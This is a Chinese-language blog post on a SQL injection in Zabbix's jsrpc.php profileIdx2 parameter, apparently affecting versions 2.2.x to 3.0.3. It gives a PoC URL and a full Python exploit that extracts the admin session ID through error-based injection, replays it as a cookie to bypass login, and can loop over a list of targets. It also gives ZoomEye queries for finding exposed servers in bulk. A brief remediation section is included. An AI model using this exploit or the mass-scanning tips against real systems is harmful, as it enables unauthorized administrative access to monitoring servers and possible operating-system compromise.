Zabbix SQL注入,绕过登陆

0x00 漏洞概述

Zabbix是一个开源的企业级性能监控解决方案。zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。 但是无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。

0x01 影响程度

攻击成本:低

危害程度:高

是否登陆:不需要

影响范围:2.2.x, 3.0.0-3.0.3。(摘自Freebuf)

0x02 漏洞测试

在Zabbix中有两个文件存在SQL注入漏洞,分别是jsrpc.phplatest.php,存在漏洞参数分别为:profileIdx2toggle_ids

在目标的zabbix的地址后面加上如下POC:

1
2
3
4
5
6
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'666&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

若返回页面出现You have an error in your SQL syntax则证明存在SQL注入漏洞。

漏洞EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@博客:http://byd.dropsec.xyz/
'''
import urllib,sys,urllib2,urllib
def cookie(url):
poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
body= urllib.urlopen(url+poc).read()
cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
return cookie
def test(cookie,url):
url=url+'proxies.php'
req=urllib2.Request(url)
cook="zbx_sessionid=%s" % cookie
req.add_header('Cookie', cook)
response=urllib2.urlopen(req)
data=response.read()
if data.find('Access denied.') < 0:
print "OK-->",cookie
else:
print 'ERROR'
if len(sys.argv)==4:
for i in open(sys.argv[3]).readlines():
print i
test(cookie(i),i)
else:
print sys.argv[1]
test(cookie(sys.argv[1]),sys.argv[1])

设计步骤
首先查询的sql语句为:select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y

查询的sessionid会在页面中显示

然后通过body.split('Duplicate entry')[1].split('for key')[0][3:-2]来取出sessionid的值,具体的可以看响应的页面结构

然后带入cookie访问proxies.php,如果没有出现Access denied.

则说明进入成功,输出sessionid的值

参考:独自等待博客EXP

0x03 漏洞修复

1、禁用后台用户guest账号(注入要求此账号启用)。

2、升级到zabbix的最新版。

0x04 批量查找

Zoomeye,输入查询关键字:Zabbix port:80,当然,如果你想定点查询的话还可以加上country: City:等字段,比如查询北京Zabbix country:china port:80 city:Beijing;

大爷,赏个铜板呗!